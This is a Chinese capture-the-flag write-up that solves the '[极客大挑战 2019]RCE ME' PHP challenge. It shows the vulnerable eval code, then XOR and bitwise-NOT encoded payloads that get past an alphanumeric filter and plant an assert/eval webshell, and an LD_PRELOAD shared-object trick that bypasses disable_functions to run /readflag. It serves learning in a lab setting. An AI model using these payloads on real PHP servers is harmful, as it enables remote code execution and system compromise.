前言
[极客大挑战 2019]RCE ME:https://buuoj.cn/challenges#[极客大挑战 2019]RCE ME
这道题涉及到绕过disable_function限制问题,这里来写一篇文章学习记录一下绕过方法
环境解析
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
这题源码非常简单,就是要绕过正则表达式来执行命令,通过php异或操作即可绕过或通过url编码绕过,主要内容是disable_function禁用了大量的函数导致shell上传成功但无法使用的情况出现使得难度大大提高,这篇文章主要就是来分析如何进行disable_function绕过。
在phpinfo()页面可以发现禁用了非常多的函数,其中包括system、exec、shell_exec等关键执行函数,我们先弄个无文件shell,这里可以使用百度来的exp或者异或出来一个
?code=$_="`{{{"^"?<>/";;${$_}[_](${$_}[__]);&_=assert&__=eval($_POST[%27cmd%27])
<?php
$a = 'assert';
echo urlencode(~$a);
echo "<br />";
$b ='(eval($_POST[cmd]))';
echo urlencode(~$b);
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);
通过蚁剑连接
这里可以发现readflag这个文件但是并没有执行权限,所以得绕过disable_function
初探disable_function
参考链接
深入浅出LD_PRELOAD & putenv() - 安全客,安全资讯平台 (anquanke.com)
PHP绕过disable_function限制-转载 | 时刻需 (shikexu.com)
无需sendmail:巧用LD_PRELOAD突破disable_functions - FreeBuf网络安全行业门户
上传shell和so文件到/var/tmp目录下
我们来看一下如何使用该shell,他这已经写好了example了,我们需要传入三个参数,第一个参数cmd为执行的命令,第二个参数outpath为输入出文件位置,第三个sopath参数为上传的so文件所在位置
这里直接使用之前写的第一条exp来进行执行命令
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
成功突破disable_function拿到flag
总结
大概就是通过linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE
具体原理现在水平有限没法真正的弄懂,现在先写篇文章记录解法,以后再补上一篇原理。
评论